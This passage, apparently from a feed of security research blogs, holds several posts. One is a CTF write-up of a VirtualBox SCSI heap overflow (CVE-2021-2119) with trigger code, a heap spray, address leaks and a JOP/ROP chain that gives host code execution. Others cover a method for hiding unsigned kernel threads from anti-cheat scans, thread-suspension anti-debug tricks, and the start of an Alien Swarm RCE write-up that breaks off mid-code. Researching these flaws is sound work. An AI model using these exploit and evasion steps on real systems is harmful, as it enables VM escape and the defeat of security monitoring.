            cbTransfer = pVBoxSCSI->cbBuf;  /* Ignore excess data (not supposed to happen). */
        }

        /* Copy the data and adance the buffer position. */
        memcpy(pbDst, 
               pVBoxSCSI->pbBuf + pVBoxSCSI->iBuf,  // --- [2] ---
               cbTransfer);

        /* Advance current buffer position. */
        pVBoxSCSI->iBuf      += cbTransfer;
        pVBoxSCSI->cbBufLeft -= cbTransfer;         // --- [3] ---

        /* When the guest reads the last byte from the data in buffer, clear
           everything and reset command buffer. */

        if (pVBoxSCSI->cbBufLeft == 0)              // --- [4] ---
            vboxscsiReset(pVBoxSCSI, false /*fEverything*/);
    }
    else
    {
        AssertFailed();
        memset(pbDst, 0, cbTransfer);
    }
    *pcTransfers = 0;
    RTCritSectLeave(&pVBoxSCSI->CritSect);

    return VINF_SUCCESS;
}

We can fully control cbTransfer in this function. The function initially makes sure that we’re not trying to read more than the buffer size [1]. Then, it copies cbTransfer bytes from the global buffer into another buffer [2], which will be sent to the guest driver. Finally, cbTransfer bytes get subtracted from the remaining size of the buffer [3] and if that remaining size hits zero, it will reset the SCSI device and require the user to reinitiate the machine state, before reading any more bytes.

So much for the logic, but what’s the issue here? There is a check at [1] that ensures no single read operation reads more than the buffer’s size. But this is the wrong check. It should verify, that no single read can read more than the buffer has left. Let’s say we allocate a buffer with a size of 40 bytes. Now we call this function to read 39 bytes. This will advance the buffer pointer to point to the 40th byte. Now we call the function again and tell it to read 2 more bytes. The check in [1] won’t bail out, since 2 is less than the buffer size of 40, however we will have read 41 bytes in total. Additionally, this will cause the subtraction in [3] to underflow and cbBufLeft will be set to UINT32_MAX-1. This same cbBufLeft will be checked when doing write operations and since it is very large now, we’ll be able to also write bytes that are outside of our buffer.

Getting OOB read/write

We understand the vulnerability, so it’s time to develop a driver to exploit it. Ironically enough, the “getting a driver to build” part was actually one of the hardest (and most annoying) parts of the exploit development. malle got to building VirtualBox from source in order for us to have symbols and a debuggable process while 0x4d5a came up with the idea of using the HEVD driver as a base for us to work with, since it does some similar things to what we need. Now let’s finally start writing some code.

Here’s how we triggered the bug:

void exploit() {
    static const uint8_t cdb[1] = {0};
    static const short port = 0x434;
    static const uint32_t buffer_size = 1024;

    // reset the state machine
    __outbyte(port+3, 0);

    // initiate a write operation
    __outbyte(port+0, 0); // TargetDevice (0)
    __outbyte(port+0, 1); // direction (to device)
    
    __outbyte(port+0, ((buffer_size >> 12) & 0xf0) | (sizeof(cdb) & 0xf)); // buffer length hi & cdb length
    __outbyte(port+0, buffer_size);                                        // bugger length low
    __outbyte(port+0, buffer_size >> 8);                                   // buffer length mid
    
    for(int i = 0; i < sizeof(cdb); i++)
        __outbyte(port+0, cdb[i]);


    // move the buffer pointer to 8 byte after the buffer and the remaining bytes to -8
    char buf[buffer_size];
    __inbytestring(port+1, buf, buffer_size - 1)    // Read bufsize-1
    __inbytestring(port+1, buf, 9)                  // Read 9 more bytes

    for(int i = 0; i < sizeof(buf); i += 4)
        *((uint32_t*)(&buf[i])) = 0xdeadbeef
    for(int i = 0; i < 10000; i++)
        __outbytestring(port+1, buf, sizeof(buf))
}

The driver first has to initiate the SCSI state machine with a bufsize. Then we read bufsize-1 bytes and then we read 9 bytes. We chose 9 instead of 2 byte in order to have the buffer pointer 8 byte aligned after the overflow. Finally, we overwrite the next 10000kb after our allocated buffer+8 with 0xdeadbeef.

After loading this driver in the win7 guest, this is what we get:

As expected, the VM crashes because we corrupted the heap. Now we know that our OOB read/write works and since working with drivers was annoying, we decided to modify the driver one last time to expose the vulnerability to user-space. The driver was modified to accept this Req struct via an IOCTL:

enum operations {
    OPERATION_OUTBYTE = 0,
    OPERATION_INBYTE = 1,
    OPERATION_OUTSTR = 2,
    OPERATION_INSTR = 3,
};

typedef struct {
    volatile unsigned int port;
    volatile unsigned int operation;
    volatile unsigned int data_byte_out;
} Req;

This enables us to use the driver as a bridge to communicate with the SCSI device from any user-space program. This makes exploit prototyping a whole lot faster and has the added benefit of removing the need to touch Windows drivers ever again (well, for the rest of this exploit anyway :D).

The bug gives us a liner heap OOB read/write primitive. Our goal is to get from here to arbitrary code execution so let’s put this bug to use!

Leaking vboxc.dll and heap addresses

We’re able to dump heap data using our OOB read but we’re still far from code execution. This is a good point to start leaking addresses. The least we’ll require for nice exploitation is a code leak (i.e. leaking the address of any dll in order to get access to gadgets) and a heap address leak to facilitate any post exploitation we might want to do.

This calls for a heap spray to get some desired objects after our leak object to read their pointers. We’d like the objects we spray to tick the following boxes:

  1. Contains a pointer into a dll
  2. Contains a heap address
  3. (Contains some kind of function pointer which might get useful later on)

After going through some options, we eventually opted for an HGCMMsgCall spray. Here’s it’s (stripped down) structure. It’s pretty big so I removed any parts that we don’t care about:

class HGCMMsgCall: public HGCMMsgHeader
{
    // A list of parameters including a 
    // char[] with controlled contents
    VBOXHGCMSVCPARM *paParms;
    
    // [...]
};

class HGCMMsgHeader: public HGCMMsgCore
{
    public:
        // [...]
        /* Port to be informed on message completion. */
        PPDMIHGCMPORT pHGCMPort;
};

typedef struct PDMIHGCMPORT
{
    // [...]
    /**
     * Checks if @a pCmd was cancelled.
     *
     * @returns true if cancelled, false if not.
     * @param   pInterface          Pointer to this interface.
     * @param   pCmd                The command we're checking on.
     */
    DECLR3CALLBACKMEMBER(bool, pfnIsCmdCancelled,(PPDMIHGCMPORT pInterface, PVBOXHGCMCMD pCmd));
    // [...]

} PDMIHGCMPORT;

class HGCMMsgCore : public HGCMReferencedObject
{
    private:
        // [...]
        /** Next element in a message queue. */
        HGCMMsgCore *m_pNext;
        /** Previous element in a message queue.
         *  @todo seems not necessary. */
        HGCMMsgCore *m_pPrev;
        // [...]
};

It contains a VTable pointer, two heap pointers (m_pNext and m_pPrev) because HGCMMsgCall objects are managed in a doubly linked list and it has a callback function pointer in m_pfnCallback so HGCMMsgCall definitely fits the bill for a good spray target. Another nice thing is that we’re able to call the pHGCMPort->pfnIsCmdCancelled pointer at any point we like. This works because this pointer gets invoked on all the already allocated messages, whenever a new message is created. HGCMMsgCall’s size is 0x70, so we’ll have to initiate the SCSI state machine with the same size to ensure our buffer gets allocated in the same heap region as our sprayed objects.

Conveniently enough, niklasb has already prepared a function we can borrow to spray HGCMMsgCall objects.

Calling niklas’ wait_prop function will allocate a HGCMMsgCall object with a controlled pszPatterns field. This char array is very useful because it is referenced by the sprayed objects and can be easily identified on the heap.

Spraying on a Low-fragmentation Heap can be a little tricky but after some trial and error we got to the following spray strategy:

  1. We iterate 64 times
  2. Each time we create a client and spray 16 HGCMMsgCalls

That way, we seemed to reliably get a bunch of the HGCMMsgCalls ahead of our leak object which allows us to read and write their fields.

First things first: getting the code leak is simple enough. All we have to do is to read heap memory until we find something that matches the structure of one of our HGCMMsgCall and read the first quad-word of said object. The VTable points into VBoxC.dll so we can use this leak to calculate the base address of VBoxC.dll for future use.

Getting the heap leak is not as straight forward. We can easily read the m_pNext or m_pPrev fields to get a pointer to some other HGCMMsgCall object but we don’t have any clue about where that object is located relatively to our current buffer position. So reading m_pNext and m_pPrev of one object is useless… But what if we did the same for a second object? Maybe you can already see where this is going. Since these objects are organized in a doubly linked list, we can abuse some of their properties to match an object A to it’s next neighbor B.

This works because of this property:

addr(B) - addr(A) == A->m_pNext - B->m_pPrev

To get the address of B, we have to do the following:

  1. Read object A and save the pointers
  2. Take note of how many bytes we had to read until we found the next object B in a variable x
  3. Read object B and save the pointers
  4. If A->m_pNext - B->m_pPrev == x we most likely found the right neighbor and know that B is at A->m_pNext. If not, we just keep reading objects

This is pretty fast and works somewhat reliably. Equipped with our heap address and VBoxC.dll base address leak, we can move on to hijacking the execution flow.

Getting RIP control

Remember those pfnIsCmdCancelled callbacks? Those will make for a very short “Getting RIP control” section… :P

There’s really not that much to this part of the exploit. We only have to read heap data until we find another one of our HGCMMsgCalls and overwrite m_pfnCallback. As soon as a new message gets allocated, this method is called on our corrupted object with a malicious pHgcmPort->pfnIsCmdCancelled field.

/**
 * @interface_method_impl{VBOXHGCMSVCHELPERS,pfnIsCallCancelled}
 */
/* static */ DECLCALLBACK(bool) HGCMService::svcHlpIsCallCancelled(VBOXHGCMCALLHANDLE callHandle)
{
    HGCMMsgHeader *pMsgHdr = (HGCMMsgHeader *)callHandle;
    AssertPtrReturn(pMsgHdr, false);

    PVBOXHGCMCMD pCmd = pMsgHdr->pCmd;
    AssertPtrReturn(pCmd, false);

    PPDMIHGCMPORT pHgcmPort = pMsgHdr->pHGCMPort;   // We corrupted pHGCMPort
    AssertPtrReturn(pHgcmPort, false);

    return pHgcmPort->pfnIsCmdCancelled(pHgcmPort, pCmd);   // --- Profit ---
}

Internally, svcHlpIsCallCancelled will load pHgcmPort into r8 and execute a jmp [r8+0x10] instruction. Here’s what happens if we corrupt m_pfnCallback with 0x0000000041414141:

Code execution

At this point, we are able to redirect code execution to anywhere we want. But where do we want to redirect it to? Oftentimes getting RIP control is already enough to solve CTF pwnables. Glibc has these one-gadgets which are basically addresses you jump to, that will instantly give you a shell. But sadly there is no leak-kernel32dll-set-rcx-to-calc-and-call-WinExec one-gadget in VBoxC.dll which means we’ll have to get a little creative once more. ROP is not an option because we don’t have stack control so the only thing left is JOP(Jump-Oriented-Programming).

JOP requires some kind of register control, but at the point at which our callback is invoked we only control a single register, r8. An additional constraint is that since we only leaked a pointer from VBoxC.dll we’re limited to JOP gadgets within that library. Our goal for this JOP chain is to perform a stack pivot into some memory on the heap where we will place a ROP chain that will do the heavy lifting and eventually pop a calc.

Sounds easy enough, let’s see what we can come up with :P

Our first issue is that we need to find some memory area where we can put the JOP data. Since our OOB write only allows us to write to the heap, that’ll have to do. But we can’t just go around writing stuff to the heap because that will most likely corrupt some heap metadata, or newly allocated objects will corrupt us. So we need to get a buffer allocated first and write to that. We can abuse the pszPatterns field in our spray for that. If we extend the pattern size to 0x70 bytes and place a known magic value in the first quad-word, we can use the OOB read to find that magic on the heap and overwrite the remaining 0x68 bytes with our payload. We’re the ones who allocated that string so it won’t get free’d randomly so long as we hold a reference to it and since we already leaked a heap address, we’re also able to calculate the address of our string and can use it in the JOP chain.

After spending ~30min straight reading through VBoxC.dll assembly together with localo, we finally came up with a way to get from r8 control to rsp control. I had trouble figuring out a way to describe the JOP chain, so css wizard localo created an interactive visualization in order to make following the chain easier. To simplify things even further, the visualization will show all registers with uncontrolled contents as XXX and any reading or uncontrolled writing operations to or from those registers will be ignored.

Let’s assume the JOP payload in our string is located at 0x1230 and r8 points to it. We trigger the callback, which will execute the jmp [r8+0x10]. You can click through the slides to understand what happens:

We managed to get rsp to point into our string and the next ret will kickstart ROP execution. From this point on, it’s just a matter of crafting a textbook WinExec("calc\x00") ROP-chain. But for the sake of completeness I’ll mention the gist of it. First, we read the address of a symbol from VBoxC.dll’s IAT. The IAT is comparable to a global offset table on linux and contains pointers to dynamically linked library symbols. We’ll use this to leak a pointer into kernel32.dll. Then we can calculate the runtime address of WinExec() in kernel32.dll, set rcx to point to "calc\x00" and call WinExec which will pop a calculator.

However there is a little twist to this. A keen eye might have noticed that we set rbp to 0x10000000 and that we are using a leave; jmp rax gadget to get to WinExec in rop_gadget_5 instead of just a simple jmp rax. That is because we were experiencing some major issues with stack alignment and stack frame size when directly calling WinExec with the stack pointer still pointing into our heap payload. It turns out, that WinExec sets up a rather large stack frame and the distance between out fake stack and the start of the heap isn’t always large enough to contain it. Therefore we were getting paging issues. Luckily, 0x4d5a and localo knew from reading this blog post about the vram section which has weak randomisation and it turns out that the range from 0xcb10000 to 0x13220000 is always mapped by that section. So if we set rbp to 0x10000000 and call a leave; jmp rax it will set the stack pointer to 0x10000000 before calling WinExec and thereby giving it enough space to do all the stack setup it likes ;)

Demo

‘nuff said! Here’s the demo:

You can find this version of our exploit here.

Credits

Writing this exploit was a joint effort of a bunch of people.

  • ESPR’s spq, tsuro and malle who don’t need an introduction :D

  • My ALLES! teammates and Windows experts Alain Rödel aka 0x4d5a and Felipe Custodio Romero aka localo

  • niklasb for his prior work and for some helpful pointers!

“A ROP chain a day keeps the doctor away. Immer dran denken, hat mein Opa immer gesagt.”

~ Niklas Baumstark (2021)

  • myself, Ilias Morad aka A2nkF :)

I had the pleasure of working with this group of talented people over the course of multiple sleepless nights and days during and even after the CTF was already over just to get the exploit working properly on a release build of VirtualBox and to improve stability. This truly shows what a small group of dedicated people is able to achieve in an incredibly short period of time if they put their minds to it! I’d like to thank every single one of you :D

Conclusion

This was my first time working with VirtualBox so it was a very educational and fun exercise. We managed to write a working exploit for a debug build of virtual box with 3h left in the CTF but sadly, we weren’t able to port it to a release build in time for the CTF due to anti-debugging in VirtualBox which made figuring out what exactly was breaking very hard. The next day we rebuilt VirtualBox without the anti-debugging/process hardening and finally properly ported the exploit to work with the latest release build of VirtualBox. We recommend you disable SCSI on your VirtualBox until this bug is patched.

The Organizers even agreed to demo our exploit in a live stream on their twitch channel afterwards and after some offset issues we finally got everything working!

I’d like to thank ChenNan again for creating the challenge and RealWorld CTF for being the excellent CTF we all grew to love. I’m looking forward to next years edition, where we hopefully will have an on-site finale in China again :).

This exploit was assigned CVE-2021-2119.

Part two…

This was the initial version of our exploit and it turned out to have a couple of issues which caused it to be a little fragile and somewhat unreliable. After the CTF was over we got together once more and attempted to identify and mitigate these weaknesses. localo will explain these issues and our workarounds in part two of this post (coming soon!).

Stay safe and happy pwning!

Hiding execution of unsigned code in system threads

By: drew
12 January 2021 at 00:00

Anti-cheat development is, by nature, reactive; anti-cheats exist to respond to and thwart a videogame’s population of cheaters. For instance, a videogame with an exceedingly low amount of cheaters would have little need for an anti-cheat, while a videogame rife with cheaters would have a clear need for an anti-cheat. In order to catch cheaters, anti-cheats will employ as many methods as possible. Unfortunately, anti-cheats are not omniscient; they can not know of every single method or detection vector to catch cheaters. Likewise, the game hacks themselves must continue to discover new or unique methods in order to evade anti-cheats.

The Reactive Development Cycle of Game Hacking

This brings forth a reactive and continuous development cycle, for both the cheats and anti-cheats: the opposite party (cheat or anti-cheat) will employ a unique method to circumvent the adjacent party (anti-cheat or cheat) which, in response, will then do the same.

One such method employed by an increasing number of anti-cheats is to execute core anti-cheat functions from within the operating system’s kernel. A clear advantage over the alternative (i.e. usermode execution) is in the fact that, on Windows NT systems, the anti-cheat can selectively filter which processes are able to interact with the memory of the game process in which they are protecting, thus nullifying a plethora of methods used by game hacks.

In response to this, many (but not all) hack developers made (or are making) the decision to do the same; they too would, or will, execute their hack, either wholly or in part, from within the operating system’s kernel, thus nullifying what the anti-cheats had done.

Unlike with anti-cheats, however, this decision carries with it numerous concessions: namely, the fact that, for various reasons, it is most convenient (or it is only practical) to execute the hack as an unsigned kernel driver running without the kernel’s knowledge; the “driver” is typically a region of executable memory in the kernel’s address space and is never loaded or allocated by the kernel. In other words, it is a “manually-mapped” driver, loaded by a tool used by a game hack.

This ultimately provides anti-cheats with many opportunities to detect so-called “kernel-mode” or “ring 0” game hacks (noting that those terms are typically said with a marketable significance; they are literally used to market such game hacks, as if to imply robustness or security); if the anti-cheat can prove that the system is executing, or had executed, unsigned code, it can then potentially flag a user as being a cheater.

Analyzing a Thread’s Kernel Stack

One such method - the focus of this article, in fact - of detecting unsigned code execution in the kernel is to iterate each thread that is running in the system (optionally deciding to only iterate threads associated with the system process, i.e. system threads) and to initiate some kind of stack trace.

Bluntly, this allows the anti-cheat to quite effectively determine if a cheat were executing unsigned code. For example, some anti-cheats (e.g. BattlEye) will queue to each system thread an APC which will then initiate a stack trace. If the stack trace returns an instruction pointer that is not within the confines of any loaded kernel driver, the anti-cheat can then know that it may have encountered a system thread that is executing unsigned code. Furthermore, because it is a stack trace and not a direct sampling of the return instruction pointer, it would work quite reliably, even if a game hack were, for example, executing a spin-loop or continuous wait; the stack trace would always lead back to the unsigned code.

It is quite clear to any cheat developer that they can respond to this behavior by simply running their thread(s) with kernel APCs disabled, preventing delivery of such APCs and avoiding the detection vector. As is will be seen, however, this method does not entirely prevent detection of unsigned code execution.

(Copying Out, Then) Analyzing a Thread’s Kernel Stack

Certain anti-cheats - EasyAntiCheat, in particular - had a much more apt method of generating a pseudo-stacktrace: instead of generating a stack trace with a blockable APC, why not copy the contents of the thread’s kernel stack asynchronously? Continuing the reactive cheat-anti-cheat development cycle, EasyAntiCheat had opted to manually search for instances of nonpaged code pointers that may have been left behind as a result of system thread execution.

While the downsides of this method are debatable, the upside is quite clear: as long as the thread is making procedure calls (e.g. x86 call instruction) from within its own code, either to kernel routines or to its own, and regardless of its IRQL or if the thread is even running, its execution will leave behind detectable traces on its stack in the form of pointers to its own code which can be extracted and analyzed.

Callouts: Continuing The Reactive Development Cycle

Proposed is the “callout” method of system thread execution, born from the recognition that:

  1. A thread’s kernel stack, as identified by the kernel stack pointer in a thread’s ETHREAD object, can be analyzed asynchronously by a potential anti-cheat to detect traces of unsigned code execution; and that
  2. To be useful in most cases, a system thread must be able to make calls to most external NT kernel or executive procedures with little compromise.

The Life-cycle of the Callout Thread

The life-cycle of a callout thread is quite simple and can be used to demonstrate its implementation:

  • Before thread creation:
    • Allocate a non-paged stack to be loaded by the thread; the callout thread’s “real stack”
    • Allocate shellcode (ideally in executable memory not associated with the main driver module) which disables interrupts, preserves the old/kernel stack pointer (as it was on function entry), loads the real stack, and jumps to an initialization routine (the callout thread’s “bootstrap routine”)
    • Create a system thread (i.e. PsCreateSystemThread) whose start address points to the initialization shellcode
  • At thread entry (i.e. the bootstrap routine):
    • Preserve the stack pointer that had been given to the thread at thread entry (this must be given by the shellcode)
    • (Optionally) Iterate the thread’s old/kernel stack pointer, ceasing iteration at the stack base, eliminating any references/pointers to the initialization shellcode
    • (Optionally) Eliminate references to the initialization shellcode within the thread’s ETHREAD; for example, it may be worth changing the thread’s start address
    • (Optionally, but recommended) Free the memory containing the initialization shellcode, if it was allocated separately from the driver module
    • Proceed to thread execution

In clearer terms, the callout thread spends most of its time executing the driver’s unsigned code with interrupts disabled and with its own kernel stack - the real stack. It can also attempt to wipe any other traces of its execution which may have been present upon its creation.

The Usefulness of the Callout Thread

The callout thread must also be capable of executing most, if not all, NT kernel and executive procedures. As proposed, this is effectively impossible; the thread must run with interrupts disabled and with its own stack, thus creating an obvious problem as most procedures of interest would run at an IRQL <= DISPATCH_LEVEL. Furthermore, the NT IRQL model may be liable to ignore our setting of the interrupt flag, causing most routines to unpredictibly enter a deadlock or enable interrupts without our consent.

A mechanism to allow for a callout thread to invoke these routines of interest, the callout mechanism, is therefore used to:

  1. Provide a routine which can be used to conveniently invoke (“call out”) an external function; and in this routine,
  2. Load the thread’s original/kernel stack pointer;
  3. Copy function arguments on to the kernel thread’s stack from the real stack;
  4. Enable interrupts;
  5. Invoke the requested routine (within the same instruction boundary as when interrupts are enabled);
  6. Cleanly return from the routine without generating obvious stack traces (e.g. function pointers);
  7. Load the real stack pointer and disable the interrupt flag, and do so before returning to unsigned code; and
  8. Continue execution, preserving the function’s return value

While somewhat complicated, the callout mechanism can be achieved easily and, to a reasonable degree, portably, using two widely-available ROP gadgets from within the NT kernel.

The Usefulness of IRET(Q)

The constraint of needing to load a new stack pointer, interrupt flag, and interrupt pointer within an instruction boundary was immediately satisfied by the IRET instruction.

For those unfamiliar, the IRET (lit. “interrupt return”) instruction is intended to be used by an operating system or executive (here, the NT kernel) to return from an interrupt routine. To support the recognition of an interrupt from any mode of execution, and to generically resume to any mode of execution, the processor will need to (effectively) preserve the instruction pointer, stack pointer, CPL or privilege level (through the CS and SS selectors; and while they have a more general use-case, this is effectively what is preserved on most operating systems with a flat memory model), and RFLAGS register (as interrupts may be liable to modify certain flags).

To report this information to the OS interrupt handler, the CPU will, in a specific order:

  1. Push the SS (stack segment selector) register;
  2. Push the RSP (stack pointer) register;
  3. Push the RFLAGS (arithmetic/system flags) register;
  4. Push the CS (code segment selector) register;
  5. Push the RIP (instruction pointer) register; and, for some exception-class interrupts,
  6. Push an error code which may describe certain interrupt conditions (e.g. a page fault will know if the fault was caused by a non-present page, or if it were caused by a protection violation)

Note that the error code is not important to the CPU and must be accounted for by the interrupt handler. Each operation is an 8-byte push, meaning that, when the interrupt handler is invoked, the stack pointer will point to the preserved RIP (or error code) values.

It is hopefully obvious as to how, approximately, the IRET instruction would be implemented:

  1. Pop a value from the stack to retrieve the new instruction pointer (RIP)
  2. Pop a value from the stack to retrieve the new code segment selector (CS)
  3. Pop a value from the stack to retrieve the new arithmetic/system flags register (RFLAGS)
  4. Pop a value from the stack to retrieve the new stack pointer (RSP)
  5. Pop a value from the stack to retrieve the new stack segment selector (SS)

Or, as modeled as a series of pseudo-assembly instructions,

GENERIC_INTERRUPT:

;note that all push and pop operations are 8 bytes (64 bits) wide!
push ss
push rsp
push rflags
push cs
push rip ;return instruction pointer
;optionally, push a zero-extended 4-byte error code. any interrupt which pushes an error code must have its handler add 8 bytes to their instruction pointer before executing its IRET.

IRET:

pop rip ;pop return instruction pointer into RIP. do not treat this as a series of regular assembly instructions; treat it instead as CPU microcode!
pop cs
pop rflags
pop rsp
pop ss

The callout mechanism uses the IRET instruction to accomplish its constraints, as the desired RFLAGS (which holds the interrupt flag), instruction pointer, and stack pointer can be loaded by the instruction at the same time (within an instruction boundary).

ROP; Chaining It All Together

To reiterate, the callout routine uses IRET to change the instruction pointer, stack pointer, and interrupt flag within the same instruction boundary in order to jump to external procedures with the interrupt flag enabled. This must be done within an instruction boundary to prevent unfortunately-timed external interrupts from being received just before the external procedure call.

It, however, must also be able to return from the external procedure call without leaving unsigned code pointers on the kernel stack; furthermore, it must also not rely on unlikely/unaligned ROP gadgets (e.g. a cli;ret sequence) which may not exist on future NT kernel builds. Thus also required is an IRET instruction to be executed upon the routine’s completion.

It must be recognized that the nature of the IRET instruction is such that the return instruction pointer is located on the stack. However, it is also recognized that a new stack pointer is loaded. We can therefore use IRET to load the callout thread’s real stack, with the stack pointer pointing to the actual return address.

This eliminates the problem of code pointers being present in the kernel stack; the return address back to our thread’s execution is located on another stack loaded by IRET and which isn’t obviously visible on a stack trace. To facilitate this, the stack frame loaded by the IRET gadget must be such that the return instruction pointer simply contains a RET instruction.

So, the ideal stack frame when calling an external procedure is as such:

  1. IRET return data, where the return address is a RET instruction within ntoskrnl.exe (or any region of signed code), and where the stack pointer to load is the thread’s real stack; which would have a return address pushed on to it; and
  2. The address of an IRET instruction within a region of signed code

Within most, if not all, versions of ntoskrnl.exe, this can be achieved with a simple RET instruction (0xC3 byte); along with the following gadget:

mov rsp, rbp
mov rbp, [rbp + some_offset] ;where some_offset could be liable to change
add rsp, some_other_offset
iretq

This also slightly modifies the mechanism of the ROP chain in that it must also load a pointer to the desired IRET frame in RBP when calling the function. Thankfully, the x64 calling convention specifies the RBP register as non-volatile, or unchanging across function calls, meaning that we can initialize it with our desired pointer when invoking the external procedure. It also means that the callout mechanism is permitted to allocate a non-paged region of memory to be given in RBP; preventing it from having to keep an IRET frame on the kernel stack. This notes, of course, the potential for an awful race condition where an interrupt is received in between the mov rsp, rbp and iretq instructions; the stack pointer value may point to memory that is insufficient to use for stack operations.

In having the external procedure return to the above IRET gadget, we can easily return to our unsigned code without ever leaking unsigned code pointers on the kernel stack.

Implementation

An example implementation of the callout mechanism can be found here.

New year, new anti-debug: Don’t Thread On Me

By: jm
4 January 2021 at 23:00

With 2020 over, I’ll be releasing a bunch of new anti-debug methods that you most likely have never seen. To start off, we’ll take a look at two new methods, both relating to thread suspension. They aren’t the most revolutionary or useful, but I’m keeping the best for last.

Bypassing process freeze

This one is a cute little thread creation flag that Microsoft added into 19H1. Ever wondered why there is a hole in thread creation flags? Well, the hole has been filled with a flag that I’ll call THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE (I have no idea what it’s actually called) whose value is, naturally, 0x40.

To demonstrate what it does, I’ll show how PsSuspendProcess works:

NTSTATUS PsSuspendProcess(_EPROCESS* Process)
{
  const auto currentThread = KeGetCurrentThread();
  KeEnterCriticalRegionThread(currentThread);

  NTSTATUS status = STATUS_SUCCESS;
  if ( ExAcquireRundownProtection(&Process->RundownProtect) )
  {
    auto targetThread = PsGetNextProcessThread(Process, nullptr);
    while ( targetThread )
    {
      // Our flag in action
      if ( !targetThread->Tcb.MiscFlags.BypassProcessFreeze )
        PsSuspendThread(targetThread, nullptr);

      targetThread = PsGetNextProcessThread(Process, targetThread);
    }
    ExReleaseRundownProtection(&Process->RundownProtect);
  }
  else
    status = STATUS_PROCESS_IS_TERMINATING;

  if ( Process->Flags3.EnableThreadSuspendResumeLogging )
    EtwTiLogSuspendResumeProcess(status, Process, Process, 0);

  KeLeaveCriticalRegionThread(currentThread);
  return status;
}

So as you can see, NtSuspendProcess that calls PsSuspendProcess will simply ignore the thread with this flag. Another bonus is that the thread also doesn’t get suspended by NtDebugActiveProcess! As far as I know, there is no way to query or disable the flag once a thread has been created with it, so you can’t do much against it.

As far as its usefulness goes, I’d say this is just a nice little extra against dumping and causes confusion when you click suspend in Processhacker, and the process continues to chug on as if nothing happened.

Example

For example, here is a somewhat funny code that will keep printing I am running. I am sure that seeing this while reversing would cause a lot of confusion about why the hell one would suspend his own process.

#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x40

NTSTATUS printer(void*) {
    while(true) {
        std::puts("I am running\n");
        Sleep(1000);
    }
    return STATUS_SUCCESS;
}

HANDLE handle;
NtCreateThreadEx(&handle, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(),
                 &printer, nullptr, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE,
                 0, 0, 0, nullptr);

NtSuspendProcess(NtCurrentProcess());

Suspend me more

Continuing the trend of NtSuspendProcess being badly behaved, we’ll again abuse how it works to detect whether our process was suspended.

The trick lies in the fact that suspend count is a signed 8-bit value. Just like for the previous one, here’s some code to give you an understanding of the inner workings:

ULONG KeSuspendThread(_ETHREAD *Thread)
{
  auto irql = KeRaiseIrql(DISPATCH_LEVEL);
  KiAcquireKobjectLockSafe(&Thread->Tcb.SuspendEvent);

  auto oldSuspendCount = Thread->Tcb.SuspendCount;
  if ( oldSuspendCount == MAXIMUM_SUSPEND_COUNT ) // 127
  {
    _InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
    KeLowerIrql(irql);
    ExRaiseStatus(STATUS_SUSPEND_COUNT_EXCEEDED);
  }

  auto prcb = KeGetCurrentPrcb();
  if ( KiSuspendThread(Thread, prcb) )
    ++Thread->Tcb.SuspendCount;

  _InterlockedAnd(&Thread->Tcb.SuspendEvent.Header.Lock, 0xFFFFFF7F);
  KiExitDispatcher(prcb, 0, 1, 0, irql);
  return oldSuspendCount;
}

If you take a look at the first code sample with PsSuspendProcess it has no error checking and doesn’t care if you can’t suspend a thread anymore. So what happens when you call NtResumeProcess? It decrements the suspend count! All we need to do is max it out, and when someone decides to suspend and resume us, they’ll actually leave the count in a state it wasn’t previously in.

Example

The simple code below is rather effective:

  • Visual Studio - prevents it from pausing the process once attached.
  • WinDbg - gets detected on attach.
  • x64dbg - pause button becomes sketchy with error messages like “Program is not running” until you manually switch to the main thread.
  • ScyllaHide - older versions used NtSuspendProcess and caused it to be detected, but it was fixed once I reported it.
for(size_t i = 0; i < 128; ++i)
  NtSuspendThread(thread, nullptr);

while(true) {
  if(NtSuspendThread(thread, nullptr) != STATUS_SUSPEND_COUNT_EXCEEDED)
    std::puts("I was suspended\n");
  Sleep(1000);
}

Conclusion

If anything, I hope that this demonstrated that it’s best not to rely on NtSuspendProcess to work as well as you’d expect for tools dealing with potentially malicious or protected code. Hope you liked this post and expect more content to come out in the upcoming weeks.

Wormable remote code execution in Alien Swarm

By: mev
30 October 2020 at 23:00

Alien Swarm was originally a free game released circa July 2010. It differs from most Source Engine games in that it is a top-down shooter, though with gameplay elements not dissimilar from Left 4 Dead. Fallen to the wayside, a small but dedicated community has expanded the game with Alien Swarm: Reactive Drop. The game averages about 800 users per day at peak, and is still actively updated.

Over a decade ago, multiple logic bugs in Source and GoldSrc titles allowed execution of arbitrary code from client to server, and vice-versa, allowing plugins to be stolen or arbitrary data to be written from client to server, or the reverse. We’ll be exploring a modern-day example of this, in Alien Swarm: Reactive Drop.

Client <-> Server file upload

Any Alien Swarm client can upload files to the game server (and vice versa) using the CNetChan->SendFile API, although with some questionable constraints: a client-side check in the game prevents the server from uploading files of certain extensions such as .dll, .cfg:

if ( (!(*(unsigned __int8 (__thiscall **)(int, char *, _DWORD))(*(_DWORD *)(dword_104153C8 + 4) + 40))(
         dword_104153C8 + 4,
         filename,
         0)
   || should_redownload_file((int)filename))
  && !strstr(filename, "//")
  && !strstr(filename, "\\\\")
  && !strstr(filename, ":")
  && !strstr(filename, "lua/")
  && !strstr(filename, "gamemodes/")
  && !strstr(filename, "addons/")
  && !strstr(filename, "..")
  && CNetChan::IsValidFileForTransfer(filename) ) // fails if filename ends with ".dll" and more
{ /* accept file */ }
bool CNetChan::IsValidFileForTransfer( const char *input_path )
{
    char fixed_slashes[260];

    if (!input_path || !input_path[0])
        return false;

    int l = strlen(input_path);
    if (l >= sizeof(fixed_slashes))
        return false;

    strncpy(fixed_slashes, input_path, sizeof(fixed_slashes));
    FixSlashes(fixed_slashes, '/');
    if (fixed_slashes[l-1] == '/')
        return false;

    if (
        stristr(input_path, "lua/")
        || stristr(input_path, "gamemodes/")
        || stristr(input_path, "scripts/")
        || stristr(input_path, "addons/")
        || stristr(input_path, "cfg/")
        || stristr(input_path, "~/")
        || stristr(input_path, "gamemodes.txt")
        )
        return false;

    const char *ext = strrchr(input_path, '.');
    if (!ext)
        return false;

    int ext_len = strlen(ext);
    if (ext_len > 4 || ext_len < 3)
        return false;

    const char *check = ext;
    while (*check)
    {
        if (isspace(*check))
            return false;

        ++check;
    }

    if (!stricmp(ext, ".cfg") ||
        !stricmp(ext, ".lst") ||
        !stricmp(ext, ".lmp") ||
